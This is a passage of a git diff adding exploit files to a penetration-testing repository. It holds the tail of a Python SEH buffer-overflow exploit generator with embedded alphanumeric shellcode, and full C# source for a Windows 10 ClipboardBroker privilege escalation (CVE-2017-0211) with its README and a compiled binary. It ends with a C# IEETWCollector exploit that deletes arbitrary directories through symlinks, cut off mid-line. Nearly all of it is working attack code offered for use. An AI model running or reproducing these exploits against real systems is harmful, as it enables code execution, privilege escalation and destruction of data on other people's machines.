'PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1'+shellcode += 'AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB'+shellcode += 'AB30APB944JBKLJH3RKPKPKP30TIZENQ7P1TTK20NPTKB2LLTKPRLTDK42O'+shellcode += '8LO87OZNF01KOVLOL1Q3LM2NLO0GQHOLMKQI7YRKBR227TK22LPTKPJOLTK'+shellcode += '0LN1D8YS0HKQ8Q21DKPYMPM1Z3DKOYLXJCNZQ9DKP4DKM1HVNQKO6LGQ8OL'+shellcode += 'MM1WWNXYP3EJVLCCMZXOKCMNDRU9TB8DKB8O4M1ICBF4KLLPKDK28MLM1HS'+shellcode += '4KKT4KKQZ0E914NDO4QK1KQQR9PZR1KOYPQO1OPZ4KLRZK4MQMS8OCNRKPK'+shellcode += 'PS83GBSNRQO2438PL2WNFLGKO8UX8TPM1M0KPO9940TB0RHNICPBKM0KOHU'+shellcode += 'R0B0B00POP0P10PP38JJLO9OIPKOZ54WRJKUBHI0W8QNCPC8KRKP3J2I3YY'+shellcode += 'V1ZN01FR72HEIG5D431KOXUU5I03DLLKO0NKX3EJL38L0GEURPVKOIES8QS'+shellcode += '2MBDKPTIYSR7QGR7P1KF2JN2291FK2KMS6WWQ4MTOLM1M1DMOTNDLP7VKPQ'+shellcode += '4PT0P1FPV26PFR60N26PVPS0VQXRYXLOOE6KOZ5U9YPPN26PFKO00C8M857'+shellcode += 'MM30KOXUGKJPFU721FQXUV4UGM5MKOYEOLLFSLKZU0KKYP45KU7KOWN3D22'+shellcode += 'OQZM00SKOJ5AA'++#----------------------------------------------------------------------------------#+# (1) Crash to nseh 536-bytes #+# (2) nshe = '\x41\x00\xf1\x00' #+# (3) seh = '\xf2\x00\x41\x00' pop pop ret | [triomp8.exe] #+# (4) Align EBX register #+# (5) Add NOPs till the beginning of the shellcode #+# (6) Shellcode space = 3592 #+#----------------------------------------------------------------------------------#+align = ''+align += '\x53' # push ebx+align += '\x71' # nop+align += '\x58' # pop eax+align += '\x71' # nop+align += '\x05\x20\x11' # add eax, 0x11002000 \+align += '\x71' # nop |> +200+align += '\x2d\x18\x11' # sub eax, 0x11001800 /+align += '\x71' # nop+align += '\x50' # push eax+align += '\x71' # nop+align += '\xc3' # retn++buffer = ''+buffer += '\x90' * 536+buffer += '\x41\xf1' # popad + nop+buffer += '\xf2\x41' # put 0x41007100+buffer += align+buffer += '\x90' * 89 # Filter+buffer += shellcode+buffer += '\x90' * (5000 - 4 - 536 - len(align) - 89 - len(shellcode))++data = open(filename, 'w')+data.write(buffer)+data.close()+print '[*] File created'+print '[*] Buffer size: {}'.format(len(buffer))diff --git a/Penetration Testing/exploits/windows/privs/ClipboardBroker/ClipboardBroker.cs b/Penetration Testing/exploits/windows/privs/ClipboardBroker/ClipboardBroker.csnew file mode 100644index 0000000..4d34480--- /dev/null+++ b/Penetration Testing/exploits/windows/privs/ClipboardBroker/ClipboardBroker.cs@@ -0,0 +1,327 @@+using System;+using System.ComponentModel;+using System.Runtime.InteropServices;+using System.Runtime.InteropServices.ComTypes;+using System.Text;++namespace RuntimeBroker+{+ [ComVisible(true), Guid("6040ec14-6557-41f9-a3f7-b1cab7b42120"), InterfaceType(ComInterfaceType.InterfaceIsIInspectable)]+ interface IRuntimeBroker+ {+ void ActivateInstance(/* Stack Offset: 8 */ [In, MarshalAs(UnmanagedType.LPWStr)] string p0,+ /* Stack Offset: 16 */ [Out, MarshalAs(UnmanagedType.IUnknown)] out object p1);+ void GetActivationFactory(/* Stack Offset: 8 */ [In, MarshalAs(UnmanagedType.LPWStr)] string p0, /* Stack Offset: 16 */ [In] ref Guid p1,+ /* Stack Offset: 24 */ [Out, MarshalAs(UnmanagedType.IInspectable)] /* iid_is param offset: 16 */ out object p2);+ void SetErrorFlags(/* Stack Offset: 8 */ [In] int p0);+ void GetErrorFlags(/* Stack Offset: 8 */ [Out] out int p0);+ void DebuggerAddRef();+ void DebuggerRelease();+ void GetClipboardBroker(/* Stack Offset: 8 */ [Out, MarshalAs(UnmanagedType.IUnknown)] out object broker);+ }++ [ComVisible(true), Guid("c76c0834-6556-435e-903c-8c0a33484afa"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]+ interface IRunAsClipboard+ {+ void Proc3();+ }++ [ComVisible(true), Guid("b6fb7c7c-0bb2-4c59-b866-d6b153521af6"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]+ interface IImpersonateClipboardOwner+ {+ void Proc3(/* Stack Offset: 8 */ [In] IRunAsClipboard p0);+ }++ //OLD IID+ //[ComVisible(true), Guid("e9df6551-d69b-41d9-9dae-91d534251026"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]+ [ComVisible(true), Guid("AC57CAFF-E1CB-4325-8D0A-0DA256C83284"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]+ interface IClipboardBroker+ {+ void SetClipboard(/* Stack Offset: 8 */ [In] IDataObject p0);+ void GetClipboard(/* Stack Offset: 8 */ [Out] out IDataObject p0, /* Stack Offset: 16 */ [Out] out int p1);+ void FlushClipboard();+ void IsCurrentClipboard(/* Stack Offset: 8 */ [In] IDataObject p0);+ void GetExternalReference(/* Stack Offset: 8 */ [Out] out IClipboardBroker p0);+ void ValidateAndAcquireACImpersonationSource(/* Stack Offset: 8 */ [In] IDataObject p0, /* Stack Offset: 16 */ [Out] out IImpersonateClipboardOwner p1);+ void SetClipboardEnterpriseId(/* Stack Offset: 8 */ [In] [MarshalAs(UnmanagedType.LPWStr)] string p0);+ void GetClipboardEnterpriseId(/* Stack Offset: 8 */ [Out] [MarshalAs(UnmanagedType.LPWStr)] out string p0);+ }++ [ComImport, Guid("0000000B-0000-0000-C000-000000000046"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]+ public interface IStorage+ {+ [return: MarshalAs(UnmanagedType.Interface)]+ IStream CreateStream([In, MarshalAs(UnmanagedType.BStr)] string pwcsName, [In, MarshalAs(UnmanagedType.U4)] int grfMode, [In, MarshalAs(UnmanagedType.U4)] int reserved1, [In, MarshalAs(UnmanagedType.U4)] int reserved2);+ [return: MarshalAs(UnmanagedType.Interface)]+ IStream OpenStream([In, MarshalAs(UnmanagedType.BStr)] string pwcsName, IntPtr reserved1, [In, MarshalAs(UnmanagedType.U4)] int grfMode, [In, MarshalAs(UnmanagedType.U4)] int reserved2);+ [return: MarshalAs(UnmanagedType.Interface)]+ IStorage CreateStorage([In, MarshalAs(UnmanagedType.BStr)] string pwcsName, [In, MarshalAs(UnmanagedType.U4)] int grfMode, [In, MarshalAs(UnmanagedType.U4)] int reserved1, [In, MarshalAs(UnmanagedType.U4)] int reserved2);+ [return: MarshalAs(UnmanagedType.Interface)]+ IStorage OpenStorage([In, MarshalAs(UnmanagedType.BStr)] string pwcsName, IntPtr pstgPriority, [In, MarshalAs(UnmanagedType.U4)] int grfMode, IntPtr snbExclude, [In, MarshalAs(UnmanagedType.U4)] int reserved);+ void CopyTo(int ciidExclude, [In, MarshalAs(UnmanagedType.LPArray)] Guid[] pIIDExclude, IntPtr snbExclude, [In, MarshalAs(UnmanagedType.Interface)] IStorage stgDest);+ void MoveElementTo([In, MarshalAs(UnmanagedType.BStr)] string pwcsName, [In, MarshalAs(UnmanagedType.Interface)] IStorage stgDest, [In, MarshalAs(UnmanagedType.BStr)] string pwcsNewName, [In, MarshalAs(UnmanagedType.U4)] int grfFlags);+ void Commit(int grfCommitFlags);+ void Revert();+ void EnumElements([In, MarshalAs(UnmanagedType.U4)] int reserved1, IntPtr reserved2, [In, MarshalAs(UnmanagedType.U4)] int reserved3, [MarshalAs(UnmanagedType.Interface)] out object ppVal);+ void DestroyElement([In, MarshalAs(UnmanagedType.BStr)] string pwcsName);+ void RenameElement([In, MarshalAs(UnmanagedType.BStr)] string pwcsOldName, [In, MarshalAs(UnmanagedType.BStr)] string pwcsNewName);+ void SetElementTimes([In, MarshalAs(UnmanagedType.BStr)] string pwcsName, [In] System.Runtime.InteropServices.ComTypes.FILETIME pctime, [In] System.Runtime.InteropServices.ComTypes.FILETIME patime, [In] System.Runtime.InteropServices.ComTypes.FILETIME pmtime);+ void SetClass([In] ref Guid clsid);+ void SetStateBits(int grfStateBits, int grfMask);+ void Stat([Out] System.Runtime.InteropServices.ComTypes.STATSTG pStatStg, int grfStatFlag);+ }++ [StructLayout(LayoutKind.Sequential)]+ class PROPVARIANT+ {+ const ushort VT_UNKNOWN = 13;+ ushort vt;+ ushort wReserved1;+ ushort wReserved2;+ ushort wReserved3;+ IntPtr pUnknown;++ public PROPVARIANT(object obj)+ {+ vt = VT_UNKNOWN;+ pUnknown = Marshal.GetIUnknownForObject(obj);+ }++ public PROPVARIANT()+ {+ vt = VT_UNKNOWN;+ }++ public object ToObject()+ {+ return Marshal.GetObjectForIUnknown(pUnknown);+ }+ }++ [ComImport, ComVisible(true)]+ [Guid("55272A00-42CB-11CE-8135-00AA004BB851")]+ [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]+ interface IPropertyBag+ {+ void Read([In] string propName, [In, Out] PROPVARIANT ptrVar, IntPtr errorLog);+ void Write([In] string propName, [In, Out] PROPVARIANT ptrVar);+ }++ [ComImport, Guid("00000109-0000-0000-C000-000000000046"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]+ public interface IPersistStream+ {+ void GetClassID(out Guid clsid);+ int IsDirty();+ void Load(IStream pStm);+ void Save(IStream pStm, bool fClearDirty);+ void GetSizeMax(out ulong pcbSize);+ }++ [ComVisible(true)]+ class FakeObject : IPersistStream+ {+ public void GetClassID(out Guid clsid)+ {+ Console.WriteLine("GetClassID");+ //MSXML.DOMDocument.6.0+ clsid = new Guid("88D96A05-F192-11D4-A65F-0040963251E5");+ }++ public void GetSizeMax(out ulong pcbSize)+ {+ Console.WriteLine("GetSizeMax");+ pcbSize = 1024;+ }++ public int IsDirty()+ {+ Console.WriteLine("IsDirty");+ return 0;+ }++ public void Load(IStream pStm)+ {+ Console.WriteLine("Load");+ }++ public void Save(IStream pStm, bool fClearDirty)+ {+ Console.WriteLine("Save");+ byte[] arr = Encoding.ASCII.GetBytes("<xsl:stylesheet version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' xmlns:msxsl='urn:schemas-microsoft-com:xslt' xmlns:user='http://mycompany.com/mynamespace'> <msxsl:script language='JScript' implements-prefix='user'> function xml(nodelist) { var o = new ActiveXObject('WScript.Shell'); o.Exec('notepad'); return nodelist.nextNode().xml; } </msxsl:script> <xsl:template match='/'> <xsl:value-of select='user:xml(.)'/> </xsl:template> </xsl:stylesheet>");+ pStm.Write(arr, arr.Length, IntPtr.Zero);+ Console.WriteLine("Done Write");+ }+ }++ [ComVisible(true)]+ class DataObject : IDataObject+ {+ [DllImport("shell32.dll")]+ static extern int SHCreateStdEnumFmtEtc(+ int cfmt,+ FORMATETC[] afmt,+ out IEnumFORMATETC ppenumFormatEtc+ );++ public int DAdvise(ref FORMATETC pFormatetc, ADVF advf, IAdviseSink adviseSink, out int connection)+ {+ Console.WriteLine("DAdvise");+ throw new NotImplementedException();+ }++ public void DUnadvise(int connection)+ {+ Console.WriteLine("DUnadvise");+ throw new NotImplementedException();+ }++ public int EnumDAdvise(out IEnumSTATDATA enumAdvise)+ {+ Console.WriteLine("EnumDAdvise");+ throw new NotImplementedException();+ }++ public IEnumFORMATETC EnumFormatEtc(DATADIR direction)+ {+ Console.WriteLine("EnumFormatEtc");+ FORMATETC fmt = new FORMATETC();+ fmt.tymed = TYMED.TYMED_ISTORAGE;+ fmt.cfFormat = 1;+ fmt.dwAspect = DVASPECT.DVASPECT_CONTENT;+ fmt.lindex = -1;+ FORMATETC[] fmts = new FORMATETC[] { fmt };+ IEnumFORMATETC e;+ int hr = SHCreateStdEnumFmtEtc(1, fmts, out e);+ if (hr != 0)+ {+ Marshal.ThrowExceptionForHR(hr);+ }+ return e;+ }++ public int GetCanonicalFormatEtc(ref FORMATETC formatIn, out FORMATETC formatOut)+ {+ Console.WriteLine("GetCanonicalFormatEtc");+ throw new NotImplementedException();+ }++ public void GetData(ref FORMATETC format, out STGMEDIUM medium)+ {+ throw new NotImplementedException();+ }++ private bool _setclipboard;++ public void GetDataHere(ref FORMATETC format, ref STGMEDIUM medium)+ {+ try+ {+ Console.WriteLine("GetDataHere {0} {1:X}", medium.tymed, Marshal.ReadIntPtr(medium.unionmember).ToInt64());+ if (_setclipboard && medium.tymed == TYMED.TYMED_ISTORAGE)+ {+ IStorage stg = (IStorage)Marshal.GetObjectForIUnknown(medium.unionmember);+ IStorage new_stg = stg.CreateStorage("TestStorage", 2 | 0x1000 | 0x10, 0, 0);+ Console.WriteLine("new_stg: {0}", new_stg);+ IPropertyBag bag = (IPropertyBag)new_stg;+ Console.WriteLine("Bag: {0}", bag);+ object o = new FakeObject();+ PROPVARIANT var = new PROPVARIANT(o);+ bag.Write("X", var);+ new_stg.Commit(0);+ Marshal.ReleaseComObject(bag);+ Marshal.ReleaseComObject(new_stg);+ new_stg = stg.OpenStorage("TestStorage", IntPtr.Zero, 0x12, IntPtr.Zero, 0);+ bag = (IPropertyBag)new_stg;+ var = new PROPVARIANT();+ bag.Read("X", var, IntPtr.Zero);+ dynamic doc = var.ToObject();+ Console.WriteLine("Done Read {0}", doc);+ doc.setProperty("AllowXsltScript", true);+ doc.transformNode(doc);+ _setclipboard = false;+ Environment.Exit(1);+ }+ }+ catch(Exception ex)+ {+ Console.WriteLine("GetDataHere: {0}", ex);+ Environment.Exit(1);+ }+ throw new NotImplementedException();++ }++ public int QueryGetData(ref FORMATETC format)+ {+ Console.WriteLine("QueryGetData");+ throw new NotImplementedException();+ }++ public void SetData(ref FORMATETC formatIn, ref STGMEDIUM medium, bool release)+ {+ Console.WriteLine("SetData");+ throw new NotImplementedException();+ }++ public void SetClipboardDone()+ {+ _setclipboard = true;+ }+ }++ class Program+ {+ [DllImport("ole32.dll")]+ static extern int CoInitializeSecurity(+ IntPtr pSecDesc,+ int cAuthSvc,+ IntPtr asAuthSvc,+ IntPtr pReserved1,+ int dwAuthnLevel,+ int dwImpLevel,+ IntPtr pAuthList,+ int dwCapabilities,+ IntPtr pReserved3+ );++ static void Main(string[] args)+ {+ try+ {+ int hr = CoInitializeSecurity(IntPtr.Zero, -1, IntPtr.Zero, IntPtr.Zero,+ 0, 3, IntPtr.Zero, 0, IntPtr.Zero);+ if (hr != 0)+ {+ Marshal.ThrowExceptionForHR(hr);+ }+ Type t = Type.GetTypeFromCLSID(new Guid("D63B10C5-BB46-4990-A94F-E40B9D520160"));+ IRuntimeBroker broker = (IRuntimeBroker)Activator.CreateInstance(t);+ object clipboard_broker;+ broker.GetClipboardBroker(out clipboard_broker);+ Console.WriteLine(clipboard_broker);+ IClipboardBroker clipboard = (IClipboardBroker)clipboard_broker;+ DataObject obj = new DataObject();+ clipboard.SetClipboard(obj);+ Console.WriteLine("SetClipboard Complete");+ obj.SetClipboardDone();+ IDataObject da;+ int sequence;+ clipboard.GetClipboard(out da, out sequence);+ FORMATETC fmt = new FORMATETC();+ fmt.tymed = TYMED.TYMED_ISTORAGE;+ fmt.cfFormat = 1;+ fmt.dwAspect = DVASPECT.DVASPECT_CONTENT;+ fmt.lindex = -1;++ STGMEDIUM stg = new STGMEDIUM();++ da.GetData(ref fmt, out stg);+ Console.WriteLine("GetClipboard Complete");+ }+ catch (Exception ex)+ {+ Console.WriteLine(ex);+ }+ }+ }+}diff --git a/Penetration Testing/exploits/windows/privs/ClipboardBroker/ClipboardBroker.exe b/Penetration Testing/exploits/windows/privs/ClipboardBroker/ClipboardBroker.exenew file mode 100644index 0000000..7d86b0dBinary files /dev/null and b/Penetration Testing/exploits/windows/privs/ClipboardBroker/ClipboardBroker.exe differdiff --git a/Penetration Testing/exploits/windows/privs/ClipboardBroker/README.md b/Penetration Testing/exploits/windows/privs/ClipboardBroker/README.mdnew file mode 100644index 0000000..2790ea0--- /dev/null+++ b/Penetration Testing/exploits/windows/privs/ClipboardBroker/README.md@@ -0,0 +1,10 @@+Microsoft Windows 10 - Runtime Broker ClipboardBroker Privilege Escalation+==========================================================================++EDB-ID: 41902</br>+Author: Google Security Research</br>+Published: 2017-04-20</br>+CVE: CVE-2017-0211</br>+Type: Local</br>+Platform: Windows</br>+Link: <https://www.exploit-db.com/exploits/41902/></br>diff --git a/Penetration Testing/exploits/windows/privs/IIETWCollector/IEETWCollector.cs b/Penetration Testing/exploits/windows/privs/IIETWCollector/IEETWCollector.csnew file mode 100644index 0000000..1911df9--- /dev/null+++ b/Penetration Testing/exploits/windows/privs/IIETWCollector/IEETWCollector.cs@@ -0,0 +1,505 @@+using Microsoft.Win32.SafeHandles;+using System;+using System.Collections.Generic;+using System.IO;+using System.Linq;+using System.Runtime.InteropServices;+using System.Security.AccessControl;++namespace NS+{+ class Program+ {+ [Flags]+ public enum AttributeFlags : uint+ {+ None = 0,+ Inherit = 0x00000002,+ Permanent = 0x00000010,+ Exclusive = 0x00000020,+ CaseInsensitive = 0x00000040,+ OpenIf = 0x00000080,+ OpenLink = 0x00000100,+ KernelHandle = 0x00000200,+ ForceAccessCheck = 0x00000400,+ IgnoreImpersonatedDevicemap = 0x00000800,+ DontReparse = 0x00001000,+ }++ [Flags]+ public enum GenericAccessRights : uint+ {+ None = 0,+ GenericRead = 0x80000000,+ GenericWrite = 0x40000000,+ GenericExecute = 0x20000000,+ GenericAll = 0x10000000,+ Delete = 0x00010000,+ ReadControl = 0x00020000,+ WriteDac = 0x00040000,+ WriteOwner = 0x00080000,+ Synchronize = 0x00100000,+ MaximumAllowed = 0x02000000,+ };+++ [Flags]+ enum DirectoryAccessRights : uint+ {+ Query = 1,+ Traverse = 2,+ CreateObject = 4,+ CreateSubDirectory = 8,+ GenericRead = 0x80000000,+ GenericWrite = 0x40000000,+ GenericExecute = 0x20000000,+ GenericAll = 0x10000000,+ Delete = 0x00010000,+ ReadControl = 0x00020000,+ WriteDac = 0x00040000,+ WriteOwner = 0x00080000,+ Synchronize = 0x00100000,+ MaximumAllowed = 0x02000000,+ }++ [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]+ public sealed class UnicodeString+ {+ ushort Length;+ ushort MaximumLength;+ [MarshalAs(UnmanagedType.LPWStr)]+ string Buffer;++ public UnicodeString(string str)+ {+ Length = (ushort)(str.Length * 2);+ MaximumLength = (ushort)((str.Length * 2) + 1);+ Buffer = str;+ }+ }++ [DllImport("ntdll.dll")]+ static extern int NtClose(IntPtr handle);++ public sealed class SafeKernelObjectHandle+ : SafeHandleZeroOrMinusOneIsInvalid+ {+ public SafeKernelObjectHandle()+ : base(true)+ {+ }++ public SafeKernelObjectHandle(IntPtr handle, bool owns_handle)+ : base(owns_handle)+ {+ SetHandle(handle);+ }++ protected override bool ReleaseHandle()+ {+ if (!IsInvalid)+ {+ NtClose(this.handle);+ this.handle = IntPtr.Zero;+ return true;+ }+ return false;+ }+ }++ public enum SecurityImpersonationLevel+ {+ Anonymous = 0,+ Identification = 1,+ Impersonation = 2,+ Delegation = 3+ }++ public enum SecurityContextTrackingMode : byte+ {+ Static = 0,+ Dynamic = 1+ }++ [StructLayout(LayoutKind.Sequential)]+ public sealed class SecurityQualityOfService+ {+ int Length;+ public SecurityImpersonationLevel ImpersonationLevel;+ public SecurityContextTrackingMode ContextTrackingMode;+ [MarshalAs(UnmanagedType.U1)]+ public bool EffectiveOnly;++ public SecurityQualityOfService()+ {+ Length = Marshal.SizeOf(this);+ }+ }++ [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]+ public sealed class ObjectAttributes : IDisposable+ {+ int Length;+ IntPtr RootDirectory;+ IntPtr ObjectName;+ AttributeFlags Attributes;+ IntPtr SecurityDescriptor;+ IntPtr SecurityQualityOfService;++ private static IntPtr AllocStruct(object s)+ {+ int size = Marshal.SizeOf(s);+ IntPtr ret = Marshal.AllocHGlobal(size);+ Marshal.StructureToPtr(s, ret, false);+ return ret;+ }++ private static void FreeStruct(ref IntPtr p, Type struct_type)+ {+ Marshal.DestroyStructure(p, struct_type);+ Marshal.FreeHGlobal(p);+ p = IntPtr.Zero;+ }++ public ObjectAttributes() : this(AttributeFlags.None)+ {+ }++ public ObjectAttributes(string object_name, AttributeFlags attributes) : this(object_name, attributes, null, null, null)+ {+ }++ public ObjectAttributes(AttributeFlags attributes) : this(null, attributes, null, null, null)+ {+ }++ public ObjectAttributes(string object_name) : this(object_name, AttributeFlags.CaseInsensitive, null, null, null)+ {+ }++ public ObjectAttributes(string object_name, AttributeFlags attributes, SafeKernelObjectHandle root, SecurityQualityOfService sqos, GenericSecurityDescriptor security_descriptor)+ {+ Length = Marshal.SizeOf(this);+ if (object_name != null)+ {+ ObjectName = AllocStruct(new UnicodeString(object_name));+ }+ Attributes = attributes;+ if (sqos != null)+ {+ SecurityQualityOfService = AllocStruct(sqos);+ }+ if (root != null)+ RootDirectory = root.DangerousGetHandle();+ if (security_descriptor != null)+ {+ byte[] sd_binary = new byte[security_descriptor.BinaryLength];+ security_descriptor.GetBinaryForm(sd_binary, 0);+ SecurityDescriptor = Marshal.AllocHGlobal(sd_binary.Length);+ Marshal.Copy(sd_binary, 0, SecurityDescriptor, sd_binary.Length);+ }+ }++ public void Dispose()+ {+ if (ObjectName != IntPtr.Zero)+ {+ FreeStruct(ref ObjectName, typeof(UnicodeString));+ }+ if (SecurityQualityOfService != IntPtr.Zero)+ {+ FreeStruct(ref SecurityQualityOfService, typeof(SecurityQualityOfService));+ }+ if (SecurityDescriptor != IntPtr.Zero)+ {+ Marshal.FreeHGlobal(SecurityDescriptor);+ SecurityDescriptor = IntPtr.Zero;+ }+ GC.SuppressFinalize(this);+ }++ ~ObjectAttributes()+ {+ Dispose();+ }+ }++ public static void StatusToNtException(int status)+ {+ if (status < 0)+ {+ throw new NtException(status);+ }+ }++ public class NtException : ExternalException+ {+ [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]+ private static extern IntPtr GetModuleHandle(string modulename);++ [Flags]+ enum FormatFlags+ {+ AllocateBuffer = 0x00000100,+ FromHModule = 0x00000800,+ FromSystem = 0x00001000,+ IgnoreInserts = 0x00000200+ }++ [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]+ private static extern int FormatMessage(+ FormatFlags dwFlags,+ IntPtr lpSource,+ int dwMessageId,+ int dwLanguageId,+ out IntPtr lpBuffer,+ int nSize,+ IntPtr Arguments+ );++ [DllImport("kernel32.dll")]+ private static extern IntPtr LocalFree(IntPtr p);++ private static string StatusToString(int status)+ {+ IntPtr buffer = IntPtr.Zero;+ try+ {+ if (FormatMessage(FormatFlags.AllocateBuffer | FormatFlags.FromHModule | FormatFlags.FromSystem | FormatFlags.IgnoreInserts,+ GetModuleHandle("ntdll.dll"), status, 0, out buffer, 0, IntPtr.Zero) > 0)+ {+ return Marshal.PtrToStringUni(buffer);+ }+ }+ finally+ {+ if (buffer != IntPtr.Zero)+ {+ LocalFree(buffer);+ }+ }+ return String.Format("Unknown Error: 0x{0:X08}", status);+ }++ public NtException(int status) : base(StatusToString(status))+ {+ }+ }++ [DllImport("ntdll.dll")]+ static extern int NtCreateDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes);++ [DllImport("ntdll.dll")]+ static extern int NtOpenDirectoryObject(out IntPtr Handle, DirectoryAccessRights DesiredAccess, ObjectAttributes ObjectAttributes);++ static SafeKernelObjectHandle CreateDirectory(SafeKernelObjectHandle root, string path)+ {+ using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, root, null, null))+ {+ IntPtr handle;+ StatusToNtException(NtCreateDirectoryObject(out handle, DirectoryAccessRights.GenericAll, obja));+ return new SafeKernelObjectHandle(handle, true);+ }+ }++ static SafeKernelObjectHandle OpenDirectory(string path)+ {+ using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive))+ {+ IntPtr handle;+ StatusToNtException(NtOpenDirectoryObject(out handle, DirectoryAccessRights.MaximumAllowed, obja));+ return new SafeKernelObjectHandle(handle, true);+ }+ }++ [DllImport("ntdll.dll")]+ static extern int NtCreateSymbolicLinkObject(+ out IntPtr LinkHandle,+ GenericAccessRights DesiredAccess,+ ObjectAttributes ObjectAttributes,+ UnicodeString DestinationName+ );++ static SafeKernelObjectHandle CreateSymbolicLink(SafeKernelObjectHandle directory, string path, string target)+ {+ using (ObjectAttributes obja = new ObjectAttributes(path, AttributeFlags.CaseInsensitive, directory, null, null))+ {+ IntPtr handle;+ StatusToNtException(NtCreateSymbolicLinkObject(out handle, GenericAccessRights.MaximumAllowed, obja, new UnicodeString(target)));+ return new SafeKernelObjectHandle(handle, true);+ }+ }++ static List<SafeKernelObjectHandle> CreateChainForPath(SafeKernelObjectHandle root, string path)+ {+ string[] parts = path.Split('\\');+ List<SafeKernelObjectHandle> ret = new List<SafeKernelObjectHandle>();+ ret.Add(root);+ foreach (string part in parts)+ {+ ret.Add(CreateDirectory(ret.Last(), part));+ }++ return ret;+ }++ [DllImport("ole32.dll")]+ static extern int CoInitializeSecurity(+ IntPtr pSecDesc,+ int cAuthSvc,+ IntPtr asAuthSvc,+ IntPtr pReserved1,+ int dwAuthnLevel,+ int dwImpLevel,+ IntPtr pAuthList,+ int dwCapabilities,+ IntPtr pReserved3+ );++ /* Memory Size: 56 */+ [StructLayout(LayoutKind.Sequential)]+ struct CreateCollectionSessionRequestData+ {+ /* Offset: 0 */+ public IntPtr AgentName;+ /* Offset: 8 */+ public Guid AgentClsid;+ /* Offset: 24 */+ public IntPtr LogName;+ /* Offset: 32 */+ public Guid LogGuid;+ /* Offset: 48 */+ public short Member4;+ };++ /* Memory Size: 16 */+ [StructLayout(LayoutKind.Sequential)]+ struct CreateCollectionSessionReplyData+ {+ /* Offset: 0 */+ public long Member0;+ /* Offset: 8 */+ public long Member1;+ };++ /* Memory Size: 16 */+ [StructLayout(LayoutKind.Sequential)]+ struct Struct_0+ {+ /* Offset: 0 */+ public IntPtr Member0;+ /* Offset: 8 */+ public int Member1;+ };++ [ComImport, Guid("72e78ac2-a1ff-4c6e-be0b-2ca619b2b59b"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]+ interface IIEEtwCollector+ {+ void CreateCollectionSession(+ /* Stack Offset: 8 */ [In] IIEEtwCollectorHost p0,+ /* Stack Offset: 16 */ [In] ref CreateCollectionSessionRequestData p1,+ /* Stack Offset: 24 */ [Out] out IIEEtwCollectorSession p2, /* Stack Offset: 32 */ out CreateCollectionSessionReplyData p3);+ }++ [Guid("f74b1266-ff39-4b62-8b6b-29c09920852c"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), ComImport]+ interface IIEEtwCollectorHost+ {+ void Proc3(/* Stack Offset: 8 */ [In] ref Guid p0, /* Stack Offset: 16 */ [In] ref Struct_0 p1);+ void Proc4(/* Stack Offset: 8 */ [In] ref Guid p0, /* Stack Offset: 16 */ [In] [MarshalAs(UnmanagedType.LPWStr)] string p1);+ }++ [Guid("ab8ee4b6-26ec-42d4-a7fc-06b4fb10e67a"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), ComImport]+ interface IIEEtwCollectorSession+ {+ void Proc3(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] /* enum */ short p1);+ void Proc4();+ void Proc5(/* Stack Offset: 8 */ [Out] [MarshalAs(UnmanagedType.BStr)] out string p0);+ void Proc6(/* Stack Offset: 8 */ [In] ref Guid p0, /* Stack Offset: 16 */ [In] ref Guid p1, /* Stack Offset: 24 */ [Out] /* iid_is param offset: 16 */ [MarshalAs(UnmanagedType.IUnknown)] out object p2);+ void Proc7();///* Stack Offset: 8 */ [In] struct Struct_2[]* p0, /* Stack Offset: 16 */ [In] int p1, /* Stack Offset: 24 */ [In, Out] struct Struct_3[]* p2);+ }++ [ComVisible(true)]+ class Host : IIEEtwCollectorHost+ {+ public void Proc3([In] ref Guid p0, [In] ref Struct_0 p1)+ {+ throw new NotImplementedException();+ }++ public void Proc4([In] ref Guid p0, [In, MarshalAs(UnmanagedType.LPWStr)] string p1)+ {+ throw new NotImplementedException();+ }+ }++ static void Main(string[] args)+ {+ try+ {+ if (args.Length < 1)+ {+ Console.WriteLine("Usage: dir_to_delete");+ }++ string dir_to_delete = Path.GetFullPath(args[0]);+ if (!Directory.Exists(dir_to_delete))+ {+ throw new Exception(String.Format("Directory {0} doesn't exist", dir_to_delete));+ }++ int hr = CoInitializeSecurity(IntPtr.Zero, -1, IntPtr.Zero, IntPtr.Zero,+ 0, 3, IntPtr.Zero, 0, IntPtr.Zero);+ if (hr != 0)+ {+ Marshal.ThrowExceptionForHR(hr);+ }++ Type t = Type.GetTypeFromCLSID(new Guid("6CF9B800-50DB-46B5-9218-EACF07F5E414"));+ IIEEtwCollector collector = (IIEEtwCollector)Activator.CreateInstance(t);++ var dirs = CreateChainForPath(OpenDirectory(@"\??"), @"GLOBALROOT\RPC Control");+ SafeKernelObjectHandle symlink = CreateSymbolicLink(dirs.Last(), @"xyz", @"\??\" + Path.GetTempPath());++ try+ {+ Directory.Delete(Path.GetTempPath() + Guid.Empty.ToString());+ }+ catch (IOException)+ {+ }++ CreateCollectionSessionRequestData request = new CreateCollectionSessionRequestData();+ request.LogName = Marshal.StringToBSTR(@"\\?\GLOBALROOT\RPC Control\xyz");++ var dirs2 = CreateChainForPath(OpenDirectory(@"\RPC Control"), "xyz");+ var symlink2 = CreateSymbolicLink(dirs2.Last(), Guid.Empty.ToString(), @"\??\" + dir_to_delete);++ request.LogGuid = Guid.Empty;+ request.AgentName = 